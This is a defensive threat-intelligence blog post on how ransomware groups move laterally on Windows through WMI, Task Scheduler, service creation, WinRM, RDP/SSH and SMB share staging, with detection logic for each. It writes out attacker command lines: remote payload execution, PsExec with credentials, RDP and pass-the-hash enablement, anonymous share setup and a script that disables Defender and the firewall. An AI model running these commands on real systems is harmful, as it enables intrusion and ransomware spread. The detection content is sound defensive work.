*Published: 4/17/2026*
> **TL;DR:** Every ransomware operator needs to move from the beachhead to the domain controller, the file server, the backup infrastructure. On Windows, the primitives that let you do that are finite. Six of them (WMI, Task Scheduler, Service Control Manager, WinRM, RDP, and SMB) cover nearly all observed lateral movement across Akira, Play, Qilin, Chaos, Embargo, Black Basta, LockBit, Fog, Hunters International, RansomHub, and TheGentlemen. Each primitive ships with a native client and at least one tool wrapper (Impacket, PsExec, PAExec, CSExec, Evil-WinRM). Detection lives at the primitive, not the client. A newer class of ransomware bakes lateral movement into the binary itself, firing multiple primitives against every discovered host in parallel. That pattern makes per-target primitive co-occurrence a detection signal in its own right.
This is Part 1 of the Operator Playbook series, which breaks down cross-RaaS behavioral chokepoints by kill chain phase. This part focuses exclusively on lateral movement because it has the tightest convergence of any phase. The operator has domain admin credentials. Now they need to use them. The question for defenders is: through which mechanism?
---
## Why Lateral Movement Is the Tightest Chokepoint
Initial access has dozens of vectors (VPN, RDP, phishing, exploit, IAB, supply chain). Credential access has multiple targets (LSASS, registry hives, Veeam, browsers, Kerberos). Defense evasion has endless creativity (BYOVD, registry, PowerShell, Safe Mode, 6 redundant Defender kills in a single toolkit). Lateral movement does not work that way. Windows provides a short, finite list of mechanisms for running code on a remote host. Every tool operators use (Impacket, PsExec, PAExec, Evil-WinRM) wraps one of them.
**This blog is organized by primitive, not by tool.** Each road opens with the native OS invocation, then shows the tool wrappers that abuse the same primitive. Detection rules live at the primitive. Tools can be renamed or replaced, but the underlying protocol interface cannot.
The six roads covered here were observed across firsthand IR telemetry ([[Three Akira Intrusions Compared]], [[Two PlayCrypt Intrusions Compared]]), vendor IR reporting (Check Point DFIR 2026, Sophos Active Adversary 2025/2026, DFIR Report, Huntress 2025, eSentire TRU), and government advisories (CISA #StopRansomware: Akira AA24-109A, Play AA23-352A, Black Basta AA24-131A, RansomHub AA24-242a).
---
## A Brief Primer on the Plumbing
Four protocol terms show up repeatedly in the sections below:
- **RPC (Remote Procedure Call)** is the generic concept of calling a function that runs on another machine. Windows implements it as **DCERPC** (Distributed Computing Environment RPC), which rides on top of either SMB (reached through "named pipes" like `\PIPE\svcctl`) or raw TCP. Most Windows remote management under the hood is DCERPC calls to specific named **interfaces**.
- **DCOM (Distributed COM)** is Microsoft's layer on top of DCERPC for invoking COM objects across hosts. WMI uses DCOM as its transport.
- **ATSvc and TSSched** are the two DCERPC interfaces the Task Scheduler exposes. ATSvc is the legacy one (originally for the `at` command), TSSched is the modern one. Both let a remote client create, run, and delete scheduled tasks.
- **svcctl** is the DCERPC interface the Service Control Manager exposes, reached through a named pipe at `\PIPE\svcctl`. It's what lets a remote client install and start a service on another host.
If a term stays confusing, just remember that each primitive below is a specific remote-invocation pathway built into Windows. The tool wrappers (Impacket, PsExec, etc.) don't invent new pathways, they just package existing ones for operator convenience.
---
## Road 1: WMI Remote Execution
**Observed in:** Akira, Chaos, Embargo, Play, Qilin, Fog, LockBit, Black Basta, RansomHub, TheGentlemen (**10 groups**)
Windows Management Instrumentation is the first primitive. WMI exposes a remote `Win32_Process.Create` call over DCERPC + DCOM. Any user with local-admin-equivalent credentials on the target can use it to spawn an arbitrary process. The OS ships with three ways to invoke this natively, and every serious operator toolkit wraps the same call.
### The Native Primitives
`wmic.exe` with `/node:` is the oldest path. Explicit credentials are optional; if the current session already has local admin on the target, no `/user:` flag is needed:
> [!example]- Native wmic remote process creation
> ```
> wmic /node:TARGET process call create "cmd.exe /c <command>"
> wmic /node:TARGET /user:DOMAIN\admin /password:<pass> process call create "C:\Windows\Temp\payload.exe"
> wmic /node:"TARGET1,TARGET2,TARGET3" process call create "C:\Windows\Temp\payload.exe"
> ```
PowerShell exposes the same primitive through two cmdlets:
> [!example]- PowerShell WMI / CIM remote process creation
> ```
> Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList "payload.exe"
> Invoke-CimMethod -ComputerName TARGET -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='payload.exe'}
> ```
All three routes ride the same DCERPC pipe. On the target, the payload spawns as a child of `wmiprvse.exe` regardless of which client was used.
### The Tool Wrappers
Operators rarely invoke WMI by hand. Python-based toolkits do it at scale.
**Impacket's `wmiexec.py`** is the dominant wrapper. The Sophos 2026 Active Adversary Report found Impacket accounts for **36% of all tools** observed in IR cases, with an 83% year-over-year increase. WmiExec wraps the `Win32_Process.Create` call and adds its own I/O scheme. WMI itself returns a process ID but not output, so Impacket redirects the remote process's stdout and stderr into a temp file inside the target's ADMIN$ share, then reads it back over SMB.
That I/O scheme is an invariant fingerprint. It is present in every WmiExec invocation and absent from native `wmic` / `Invoke-WmiMethod` usage:
> [!example]- Impacket WmiExec output redirection (the invariant)
> ```
> cmd.exe /Q /c <command> 1> \\127.0.0.1\ADMIN$\__<timestamp> 2>&1
> ```
The `__<float>` timestamp is generated at execution time (e.g., `__1684293517.4120836`). Writing to `\\127.0.0.1\ADMIN$\` forces the command output back through SMB loopback so the Impacket client can read it.
In the [[Three Akira Intrusions Compared|Akira intrusions]], this pattern generated 16 cases in a single operational queue. The operator used WmiExec for password resets (`net user [svc_account] [password] /dom`), RDP enablement, firewall rule writes, and discovery commands. Every one of them produced the same artifact.
### Detection Surface
Four separable signals cover every WMI-based lateral movement path:
| Client | Source-side signal | Target-side signal |
|---|---|---|
| Native `wmic.exe` | `wmic.exe` command line containing `/node:` + `process call create` | `wmiprvse.exe` spawning the payload |
| Native PS `Invoke-WmiMethod` | `Invoke-WmiMethod -ComputerName ... Win32_Process ... Create` | `wmiprvse.exe` spawning the payload |
| Native PS `Invoke-CimMethod` | `Invoke-CimMethod -ComputerName ... Win32_Process ... Create` | `wmiprvse.exe` spawning the payload |
| Impacket WmiExec | Python client (often invisible) | `wmiprvse.exe` → `cmd.exe /Q /c ... 1> \\127.0.0.1\ADMIN$\__<float> 2>&1` |
Legitimate remote WMI use is rare. `wmic /node:`, `Invoke-WmiMethod -ComputerName`, and `Invoke-CimMethod -ComputerName` are near-zero-false-positive source-side signals outside of orchestration tooling (SCCM, custom admin scripts that should be baselined).
> **Detection Opportunity:**
> - **Native source-side:** any `wmic /node:` + `process call create`, or PowerShell `Invoke-WmiMethod`/`Invoke-CimMethod` with `-ComputerName` and `Win32_Process` + `Create`.
> - **Impacket target-side:** the `\\127.0.0.1\ADMIN$\__` redirection pattern in the command line of any `cmd.exe` / `powershell.exe` parented by `wmiprvse.exe`. This is Impacket's invariant and survives most evasion.
>
> See rules: [[edr-win-lat-impacket-wmiexec]], [[edr-win-lat-wmic-remote-node]]
---
## Road 2: Task Scheduler Remote Execution
**Observed in:** Akira, Black Basta, LockBit, Fog, RansomHub, Play, Qilin, TheGentlemen (Impacket-using ecosystem for AtExec; TheGentlemen documented using raw `schtasks` via Check Point DFIR, Apr 2026)
Task Scheduler exposes the two remote-control interfaces introduced in the primer (ATSvc and TSSched), both riding over Windows RPC. A client with admin rights can create, run, and delete scheduled tasks on a remote host. Code executes as whatever principal the task's `/RU` flag specifies, typically `SYSTEM`. Two ways in: the native `schtasks.exe` binary, or Impacket's `atexec.py`.
### The Native Primitive
`schtasks.exe` with `/S <target>` creates a task on a remote host in a single command. The task is scheduled once, run immediately via `/Run`, and typically deleted after:
> [!example]- Native schtasks remote task creation
> ```
> schtasks /Create /S <target> /TN <name> /TR "\\<host>\<share>\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
> schtasks /Run /S <target> /TN <name>
> ```
When the `/TR` argument points at a UNC path, the target fetches the payload from the source's share at execution time. The task on disk carries no binary of its own.
### The Tool Wrapper
**Impacket's `atexec.py`** wraps the same ATSvc interface and adds its own I/O scheme. A scheduled task doesn't return output, so AtExec redirects the task's stdout to a file in `C:\Windows\Temp\` and reads it back over SMB. On the target, `svchost.exe` or `taskeng.exe` spawns `cmd.exe` or `powershell.exe` with output redirection.
### The Behavioral Signals
Native and tool-wrapped paths leave different fingerprints:
| Client | Source-side signal | Target-side signal |
|---|---|---|
| Native `schtasks /S` | `schtasks.exe` with `/S <remote>` + `/RU SYSTEM`, `/TR` often a UNC path | Event ID 4698 from a remote context, task command contains UNC |
| Impacket AtExec | Python client (often invisible) | `svchost.exe` / `taskeng.exe` → `cmd.exe` / `powershell.exe` with output redirection to `C:\Windows\Temp\` |
`schtasks /S <remote> /TR \\<host>\...` is the behavioral chokepoint: a remote task whose command points at a UNC payload means the target is about to execute something it doesn't have on disk. Legitimate use outside GPO-driven rollouts is exceedingly rare.
> **Detection Opportunity:**
> - **Native:** `schtasks.exe` source-side with `/S <remote>` and `/RU SYSTEM`; especially with `/TR` pointing at a UNC.
> - **Impacket:** target-side scheduled-task child processes with output redirection to `C:\Windows\Temp\` and the `&1` redirection operator in the command line.
>
> See rules: [[edr-win-lat-schtasks-remote]] (native `schtasks /S`), [[edr-win-lat-impacket-wmiexec]] (covers AtExec target-side via the shared output-redirection selection).
---
## Road 3: Service Control Manager Remote Execution
**Observed in:** Play, Qilin, Black Basta, LockBit, TheGentlemen (**5 groups** for the PsExec family); the broader Impacket-using ecosystem via SmbExec; raw `sc \\<target>` abuse observed in recent ransomware tradecraft
The Service Control Manager exposes service creation over DCERPC (`\PIPE\svcctl`). A client with admin rights can install a service on a remote host, point it at any binary the target can resolve, and start it. Whatever the service points at runs as SYSTEM. Three ways in: native `sc.exe`, the PsExec family, or Impacket SmbExec.
### The Native Primitive
`sc.exe \\<target> create <svc> binpath= ...` is the raw SCM primitive. No additional tooling, no binary drop on the target:
> [!example]- Native sc remote service creation
> ```
> sc \\<target> create <svc> binpath= "\\<host>\<share>\<exe> <creds>"
> sc \\<target> start <svc>
> ```
When the `binpath=` points at a UNC, the service fetches its binary from a remote share at start time rather than carrying one locally. That arrangement is almost exclusive to operator tradecraft.
**The behavioral signal is the UNC binpath, not the service name.** Service names rotate; `binpath=` pointing at a UNC path does not. A service installed on a remote host whose binary **does not live on that host** is the anomaly. Legitimate services almost always reference a locally-installed binary (`C:\Program Files\...`, `C:\Windows\...`, an MSI-dropped path). A service that fetches its binary across the network at start time is operator tradecraft.
### Tool Wrapper 1 — The PsExec Family
**PsExec** (Sysinternals) is the classic wrapper. From the source host, it:
1. Connects to the ADMIN$ share on the target
2. Copies `PSEXESVC.exe` (its own service binary) to the target's `C:\Windows\`
3. Creates and starts a service with a randomly-generated 12-character alphanumeric name pointing to the copied PSEXESVC
4. Executes the requested command through the service (PSEXESVC spawns the child)
5. Returns output to the source
6. Cleans up the service (sometimes)
Other tools replicate the same service-drop pattern with small differences that matter for detection:
- **PAExec** (Poweradmin) - Open-source PsExec analog. Drops a PAExec-named binary on the target.
- **CSExec** (malcomvetter's C# rewrite) - Drops `csexesvc.exe` and exposes a named pipe at `\\.\pipe\csexecsvc`. The binary name and pipe name are compiled into the tool by default, so they persist even when the operator renames the executable.
- **Impacket `psexec.py`** - Python-based. Drops a RemCom-derived service binary with a randomized name. Uses its own named pipes for I/O rather than the Sysinternals SCM message channel.
- **CrackMapExec / NetExec** - Framework, not a standalone service. Invokes Impacket modules (or a psexec method in newer releases) through `--exec-method`. No unique target-side binary of its own. The target signature matches whichever underlying method was chosen.
In the [[Two PlayCrypt Intrusions Compared|Play intrusion]], PsExec created 8+ services across 15+ hosts in rapid succession:
> [!example]- PsExec service creation artifacts (Event ID 7045)
> ```
> 7045 | R7KXNQ4VHJ2D | C:\Windows\R7KXNQ4VHJ2D.exe | DOMAIN\Administrator
> 7045 | M3YPWT8FG6AE | C:\Windows\M3YPWT8FG6AE.exe | DOMAIN\Administrator
> 7045 | J9BHZC5NLR1X | C:\Windows\J9BHZC5NLR1X.exe | DOMAIN\Administrator
> ```
Each service binary was a unique per-host ransomware payload, dropped by PsExec to `C:\Users\Public\Music\` (Play's signature staging path) before the service launched it. The `-s` flag (run as SYSTEM) is near-universal in ransomware use:
> [!example]- PsExec invocation patterns
> ```
> psexec.exe \\TARGET -s cmd.exe /c C:\Windows\Temp\payload.exe
> psexec.exe \\TARGET -accepteula -u DOMAIN\admin -p <pass> -s -d cmd.exe /c <command>
> ```
### Tool Wrapper 2 — Impacket SmbExec
**Impacket's `smbexec.py`** wraps the same SCM primitive but points the service's `binpath=` at `%COMSPEC%` (cmd.exe) with arguments, rather than dropping a standalone binary. The target-side artifact is Event ID 7045 with a service whose binary is `%COMSPEC% /Q /c ...` rather than a deployed executable. Output redirection lands in ADMIN$ in the same style as WmiExec.
### The Behavioral Signals
All three routes land Event ID 7045 on the target. The differentiator is **what the service's ImagePath looks like**:
| Route | Source-side signal | Target-side ImagePath artifact |
|---|---|---|
| Native `sc \\<target>` | `sc.exe \\<target> create ... binpath=` | UNC path (`\\…`) — binary lives off-target |
| PsExec family | `psexec.exe` (Sysinternals) / `paexec.exe` / `csexesvc.exe` (CSExec) / Impacket `psexec.py` invoked via Python / CrackMapExec-NetExec with `--exec-method psexec` | Local `C:\Windows\<binary>.exe` — PSEXESVC for Sysinternals; PAExec-named for PAExec; `csexesvc.exe` for CSExec (plus named pipe `\\.\pipe\csexecsvc`); RemCom-derived for Impacket and CME-when-psexec; service name is high-entropy for PsExec/Impacket, tool-named for PAExec/CSExec |
| Impacket SmbExec | Python client (often invisible) | `%COMSPEC%` with command-line redirection back to ADMIN$ |
All three are operator-tradecraft-grade anomalies. Legitimate remote service creation is rare and usually narrow (SCCM push, specific admin scripts). Baseline your environment.
> **Detection Opportunity:** Target-side, Event ID 7045 with any of three ImagePath patterns:
> - `ImagePath` starts with `\\` (UNC) → native `sc` abuse
> - `ImagePath` is a local path in `C:\Windows\` with a high-entropy filename (random-looking, non-dictionary) → PsExec family
> - `ImagePath` contains `%COMSPEC%` or `cmd.exe` with redirection operators → Impacket SmbExec
>
> Source-side, either `sc.exe \\<target> create` in a command line, or direct execution of `psexec.exe` / `paexec.exe` / a compiled CSExec client / Impacket `psexec.py` (via `python.exe <path>/psexec.py`) / CrackMapExec (`cme`, `crackmapexec`) / NetExec (`nxc`).
>
> See rule: [[edr-win-lat-remote-psexec]] (extend to fire on UNC `ImagePath` and `%COMSPEC%`-based service binaries).
---
## Road 4: WinRM / PowerShell Remoting
**Observed in:** SocGholish/RansomHub chains, Embargo (Evil-WinRM), Storm-0501, Black Basta, TheGentlemen (**5 groups**)
Windows Remote Management (ports 5985/5986) is the fourth execution primitive. It's enabled by default on Windows Server, often enabled on workstations for administrative purposes, and produces a telemetry surface most EDR stacks don't scrutinize as closely as PsExec or Impacket artifacts. Operators reach for it when Impacket and PsExec are blocked.
### The Native Primitives
`Invoke-Command -ComputerName`, `Enter-PSSession`, and `winrs.exe` are the three native paths. All three authenticate over WinRM and hand a remote session to a hosting process on the target:
- **PowerShell Remoting** (`Invoke-Command`, `Enter-PSSession`): target-side hosting is `wsmprovhost.exe`
- **winrs** (`winrs.exe -r:<target> <command>`): target-side hosting is `winrshost.exe`
A common operator pattern combines `Invoke-Command` with `Start-Process`, launching the payload from a UNC path. The remote session fetches the binary at invocation time:
> [!example]- Invoke-Command remote payload launch
> ```
> powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process -FilePath '\\<host>\<share>\<exe>' -ArgumentList '<creds>' }"
> ```
### The Tool Wrapper
**Evil-WinRM** is the operator-convenience wrapper, used by Embargo affiliates among others. It rides the same WinRM protocol as native PowerShell Remoting. `wsmprovhost.exe` hosts the session and spawns the child processes, identically to any native invocation. Detection sits at the hosting-process level, not at the client.
### Observed in Intrusions
In the SocGholish-to-RansomHub chain documented in [[Crafting Detections on Threat Actor Movement]], the operator authenticated via WinRM through an injected process (`RtkAudUService64.exe`) and issued commands through `wsmprovhost.exe`:
> [!example]- WinRM child process patterns (from firsthand IR)
> ```
> wsmprovhost.exe -> schtasks.exe /query /tn libffi /v /fo list
> wsmprovhost.exe -> schtasks.exe /run /tn libffi
> wsmprovhost.exe -> quser.exe /server [FQDN]
> wsmprovhost.exe -> qwinsta.exe
> wsmprovhost.exe -> tasklist.exe /v
> wsmprovhost.exe -> netstat.exe /ano
> wsmprovhost.exe -> systeminfo.exe
> wsmprovhost.exe -> findstr.exe pythonw.exe
> wsmprovhost.exe -> vssadmin.exe delete shadows
> ```
The commands targeted task execution, session enumeration, process inventory, and credential access.
### Why Operators Prefer It
| Advantage over... | Why |
|---|---|
| PsExec | No service creation, no PSEXESVC.exe deployed to target |
| Impacket | No ADMIN$ output redirection artifact, no Python dependency |
| RDP | No interactive session recording, no GUI artifacts |
There's a tradeoff. WinRM requires valid credentials, and the target must have WinRM enabled (common in enterprise, not universal). If WinRM is disabled, the operator falls back to Impacket or PsExec.
### Detection Surface
The native clients and Evil-WinRM all converge on two target-side hosting processes, but those processes have different shapes and deserve different detection logic.
- **`wsmprovhost.exe`** — the PowerShell Remoting host. Interactive session, spawns whatever PowerShell commands the operator runs. Children are varied: `schtasks.exe`, `quser.exe`, `qwinsta.exe`, `tasklist.exe`, `netstat.exe`, `systeminfo.exe`, `vssadmin.exe`, `certutil.exe`, `reg.exe`, `cmd.exe`, nested `powershell.exe`. Detection is pattern-based.
- **`winrshost.exe`** — the `winrs.exe` host. One-shot command runner. `winrs.exe -r:<target> "<command>"` on the source produces, on the target, `winrshost.exe` spawning exactly one child: almost always `cmd.exe /c <command>` directly. The tight chain `winrshost.exe -> cmd.exe /c <command>` is near-signature-grade when excluding admin behavior.
> **Detection Opportunity (wsmprovhost.exe):** `wsmprovhost.exe` as parent of any LOLbin (schtasks, quser, qwinsta, tasklist, netstat, systeminfo, vssadmin, certutil, reg, cmd, powershell) from an unverified code signature context. Baseline legitimate admin source IPs and suppress.
>
> **Detection Opportunity (winrshost.exe — near-signature):** `winrshost.exe` as parent of `cmd.exe` where the `cmd.exe` command line contains `/c` or `/C` followed by a command string. The chain is tight by design (no intermediate process), and the `/c` flag means one-shot execution. In environments that do not sanction `winrs.exe` for admin workflows, this pattern is close to a binary indicator on its own. Source-side: `winrs.exe -r:<target>` on the operator's host.
>
> See rule: [[edr-win-lat-winrm-abuse]]
---
## Road 5: RDP (and SSH)
**Observed in:** Akira, Chaos, Play, Qilin, Embargo, Fog, LockBit, Hunters Int'l (**8 groups**)
RDP is the most abused legitimate tool across the ecosystem. The Sophos 2026 Active Adversary Report found 66% of IR cases involved internal RDP lateral movement. It's the hardest mechanism to detect because it's also the most common legitimate admin tool.
### The Detection Problem
The signal isn't "RDP happened." It's "RDP happened from an unexpected source." This requires three things most organizations don't have properly instrumented:
1. **Asset inventory.** Which IPs have EDR agents? If you can't answer this, you can't distinguish managed from unmanaged RDP sources.
2. **Auth log correlation.** Type 10 (RemoteInteractive) logon events from IPs not in your asset inventory. This is a SIEM correlation, not an endpoint detection.
3. **Behavioral baselining.** Which accounts normally RDP, to which destinations, at what times? A service account RDP'ing to 30 hosts at 3am is anomalous regardless of source.
### Pre-Lateral Movement: Enabling RDP
Operators frequently enable RDP on hosts where it's disabled. This produces a detectable artifact independent of the RDP session itself:
> [!example]- RDP enablement commands (registry + firewall)
> ```
> reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
> powershell Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
> Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
> ```
This registry modification + firewall rule pattern appeared in both [[Two PlayCrypt Intrusions Compared|Play intrusions]], plus Akira and Embargo. In a Play intrusion, the operator ran this exact sequence on every host they touched before pivoting.
In the [[Three Akira Intrusions Compared|Akira Intrusion 3]], the operator went further and disabled Restricted Admin mode to enable pass-the-hash over RDP:
> [!example]- Pass-the-hash RDP enablement
> ```
> powershell -command New-ItemProperty
> -Path "HKLM:\System\CurrentControlSet\Control\Lsa"
> -Name "DisableRestrictedAdmin" -Value "0"
> -PropertyType DWORD -Force
> ```
Setting `DisableRestrictedAdmin` to `0` allows RDP authentication using only NTLM hashes. No plaintext password needed.
### SSH
SSH lateral movement is less common but growing. Chaos used reverse SSH over port 443. ESXi-targeting operators (Akira, Qilin) use SSH to reach hypervisors from Windows hosts. In the Akira Intrusion 1, the operator used SCP to transfer a Linux ransomware binary to the ESXi host:
> [!example]- SCP to ESXi (Akira)
> ```
> scp payload root@[ESXi_IP]:/
> ssh -l root -s -- [ESXi_IP] sftp
> ```
SSH or SCP from a Windows endpoint to an internal host is anomalous in most environments.
> **Detection Opportunity:** Alert on fDenyTSConnections flipped to 0, Enable-NetFirewallRule targeting Remote Desktop, or DisableRestrictedAdmin registry writes outside of GPO-driven rollouts.
>
> See rule: [[edr-win-lat-rdp-enable]]
---
## Road 6: SMB Admin Share Staging — Push and Pull
**Observed in:** Akira, Play, Qilin, Black Basta, LockBit, Fog, TheGentlemen (**7 groups**)
Before an operator can run PsExec, WMI, or a scheduled task on a remote host, they usually need to get the payload onto that host. SMB admin share staging is the copy mechanism. It's not a lateral movement method in isolation because it still requires a separate execution primitive, but the staging artifact is detectable on its own and often precedes the execution by seconds to minutes.
### The Pattern
Mount `ADMIN
, `C
, or `IPC
on the target host using a stolen admin credential, then copy the tool or payload into a staging directory:
> [!example]- SMB admin share staging commands
> ```
> net use \\TARGET\C$ <password> /user:DOMAIN\<admin>
> net use \\TARGET\ADMIN$ <password> /user:DOMAIN\<admin>
> copy C:\ProgramData\tool.exe \\TARGET\C$\Windows\Temp\
> copy C:\PerfLogs\payload.dll \\TARGET\ADMIN$\payload.dll
> xcopy C:\staging\ \\TARGET\C$\ProgramData\stage\ /s /y
> ```
In the [[Three Akira Intrusions Compared|Akira Intrusion 1]], the operator staged exfiltration tools in `C:\drives\brother\` on the source host, then used Rclone (renamed `crowdstrike.exe`) to copy data to attacker-controlled cloud storage. The staging path itself was a custom directory created for the operation.
In a Play intrusion, the operator mounted admin shares to download WinRAR and WinSCP directly to file servers via Chrome, then staged archives for exfiltration.
### Why It Matters for Detection
The `net use` with an explicit `/user:` flag containing a domain admin is high-fidelity. Normal workstations rarely mount admin shares on internal hosts with explicit credentials. File creations into `\\TARGET\ADMIN
or `\\TARGET\C$\Windows\Temp\` from a non-server parent are the network-side signal.
Once staged, the operator pivots to execution through one of the other five roads: PsExec against the staged binary, `wmic /node:` invocation, scheduled task creation with `schtasks /s`, or service creation with `sc \\TARGET create`.
> **Detection Opportunity:** `net use \\<host>\(C$|ADMIN$|IPC$)` with `/user:` from a workstation. Pair with file creation on the target share for the full staging signature.
### Inverted Staging: Anonymous Share Pull
The push pattern above is what most operators reach for. The inversion, documented most recently by Check Point Research in April 2026, flips the direction. The source host **creates a share, grants anonymous access, and lets targets pull the payload**. This avoids `net use /user:` entirely; there's no outbound admin-share mount from the source.
The staging sequence:
> [!example]- Anonymous-pull staging (source-side prep)
> ```
> cmd /C copy "<exe>" "C:\Temp\" /Y
> cmd /C net share share$=C:\Temp /GRANT:Everyone,FULL
> cmd /C icacls C:\Temp /grant "ANONYMOUS LOGON":F
> cmd /C reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v NullSessionShares /t REG_MULTI_SZ /d share$ /f
> cmd /C reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
> ```
Targets then fetch via UNC (`\\<host>\share$\<exe>`) through whichever code-execution primitive is firing. Some operators pair this staging with re-enabling SMB1 on the target (`Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol`) to widen compatibility with older hosts. That's a related signal worth keeping in scope.
### Push vs. Pull — Detection Differences
| Pattern | Direction | Source-side signal | Tell |
|---|---|---|---|
| Push (`net use /user:`) | Source → target admin share | `net use \\<target>\(C$\|ADMIN$)` with `/user:<admin>` | Explicit credential flag |
| Pull (anonymous share) | Source creates share, targets fetch | `net share share$=...`, `icacls ANONYMOUS LOGON:F`, `NullSessionShares` reg | Null-session access enablement |
Three commands form the pull pattern's signature. `icacls` granting `ANONYMOUS LOGON:F` on the share directory. The `NullSessionShares` registry write that whitelists the share for null-session access. The `EveryoneIncludesAnonymous` registry write that reverses a post-2003 hardening default. Any two of them on the same host inside a short window is a binary match. Legitimate enterprise Windows almost never grants anonymous share access, so the false-positive rate is near zero.
> **Detection Opportunity (inverted staging):** Any process creating a share with `/GRANT:Everyone,FULL` combined with `icacls` granting `ANONYMOUS LOGON`, or registry writes to `LanmanServer\Parameters\NullSessionShares` or `Lsa\EveryoneIncludesAnonymous = 1`. Each of the three is individually suspicious; any two together is alert-grade.
---
## The Lateral Movement Chokepoint
Six OS primitives. Every route to remote code execution on Windows passes through one of them. Each has both a native client and one or more tool wrappers. The primitive is what matters for detection; the client is secondary.
| Road | OS primitive | Native client(s) | Tool wrappers | Primary detection signature |
|---|---|---|---|---|
| **1** | WMI (`Win32_Process.Create` over DCERPC + DCOM) | `wmic /node:`, `Invoke-WmiMethod -ComputerName`, `Invoke-CimMethod -ComputerName` | Impacket WmiExec | Source: `wmic /node:` or WMI cmdlet with `-ComputerName`. Target: `wmiprvse.exe` → payload. Impacket tell: `cmd.exe /Q /c ... 1> \\127.0.0.1\ADMIN$\__<float> 2>&1` |
| **2** | Task Scheduler (ATSvc / TSSched DCERPC) | `schtasks.exe /S <target>` | Impacket AtExec | Source: `schtasks /S <remote> /RU SYSTEM`, especially with UNC `/TR`. Target: Event ID 4698 from remote source; AtExec redirects output to `C:\Windows\Temp\` |
| **3** | Service Control Manager (`\PIPE\svcctl`) | `sc.exe \\<target> create ... binpath=` | PsExec (Sysinternals), PAExec, CSExec (malcomvetter), Impacket psexec.py, Impacket SmbExec, CrackMapExec / NetExec (framework wrapping Impacket) | Target: Event ID 7045 — `ImagePath` discriminates: UNC (`\\…`) = native sc; `C:\Windows\PSEXESVC.exe` = Sysinternals; PAExec-named = PAExec; `csexesvc.exe` + named pipe `\\.\pipe\csexecsvc` = CSExec; RemCom-derived = Impacket; `%COMSPEC%` = SmbExec |
| **4** | WinRM (ports 5985/5986) | `Invoke-Command -ComputerName`, `Enter-PSSession`, `winrs.exe` | Evil-WinRM | Source: `Invoke-Command -ComputerName` or `winrs.exe -r:`. Target: `wsmprovhost.exe` / `winrshost.exe` → LOLbin |
| **5** | RDP (protocol), SSH (protocol) | `mstsc.exe`, `ssh`, `scp` | — (interactive protocols, thin wrapper surface) | Source: `ssh.exe` / `scp.exe` on Windows endpoint to internal host. Target: Type 10 logon from unexpected source; RDP fan-out from single source |
| **6** | SMB (payload movement, not execution) | `net use` (push), `net share` + null-session (pull) | — | Source (pull): `net share ... /GRANT:Everyone,FULL` + `icacls ANONYMOUS LOGON` + `NullSessionShares` reg. Target (push): file creation in ADMIN$ / C$\Windows\Temp from remote |
The operator needs at least one primitive to work. If every row is monitored, every lateral movement attempt produces a detection artifact. The question is not whether you can detect it. The question is whether your pipeline escalates the alert before the operator reaches the next host.
---
## The Spread Flag: When Multiple Primitives Fire in Parallel
The roads above were enumerated assuming an operator at a keyboard, choosing one primitive per host, iterating. That assumption is showing its age.
A newer class of ransomware bakes lateral movement into the binary itself. Given harvested domain credentials, a `--spread` flag (or equivalent) enumerates domain-joined hosts, pings each for reachability, and fires multiple execution primitives against every reachable target in parallel. The concrete example documented in recent vendor reporting (Check Point Research's DFIR on TheGentlemen, April 2026) invokes six parallel attempts per target, touching four of the six OS primitives:
| # | Primitive (Road) | Invocation |
|---|---|---|
| 1 | **SCM** (Road 3) | `psexec \\<target> -u domain\user -p <pass> -s ...` (PsExec with explicit creds) |
| 2 | **SCM** (Road 3) | `psexec \\<target> -s ...` (PsExec with current session) |
| 3 | **WMI** (Road 1) | `wmic /node:<target> process call create "..."` |
| 4 | **Task Scheduler** (Road 2) | `schtasks /Create /S <target> /SC ONCE /RU SYSTEM /Run` |
| 5 | **SCM** (Road 3) | `sc \\<target> create <svc> binpath=` pointing at a UNC payload |
| 6 | **WinRM** (Road 4) | `Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process ... }` |
Each target is hit by all six invocations. Whichever lands first, the ransomware runs. Three of the six attempts route through SCM (two PsExec variants and native `sc`), which is why SCM is over-indexed in this particular family's module. Other families' spread modules will differ in their exact invocations but fire the same way. It is the case of multiple primitives with the same target and the same second.
### Why This Matters for Detection
The operator-driven model and the binary-driven model leave different fingerprints. In the operator-driven case, you see one primitive at a time. Operator decision-making puts seconds or minutes between invocations. One host gets hit by WMI, the next by WinRM, the next by Task Scheduler. In the binary-driven case, the **same target** is attacked by all four primitives within the same second.
Primitive mixing at a single target is not a normal admin pattern. It is how orchestrated ransomware looks rather than how a human at a keyboard moves.
> **Detection Opportunity (primitive co-occurrence):** Correlate per-target within a 60-second window. Alert on any target that receives lateral-movement indicators from two or more of the four code-execution primitives (WMI, Task Scheduler, SCM, WinRM) in the same window. The binary-driven spread signature is multiple primitives firing at the same target within seconds of each other. That pattern does rarely occurs from normal sysadmin work or in operator-driven (human-at-keyboard) lateral movement.
### The Companion Signal: Fleet-Wide Hardening Reversal
Spread modules typically run a pre-payload hardening-reversal script on each target (via whichever code-execution primitive lands first) before detonation. The pattern observed in recent DFIR reporting consolidates Defender kill, firewall disable, and LSA weakening into a single PowerShell invocation:
> [!example]- Spread-stage hardening reversal (runs on every target)
> ```
> powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true;
> Add-MpPreference -ExclusionPath 'C:\';
> Add-MpPreference -ExclusionPath 'C:\Temp';
> Add-MpPreference -ExclusionPath '\\<host>\share;
> Add-MpPreference -ExclusionProcess '<exe>';
> Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;
> Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart;
> reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f"
> ```
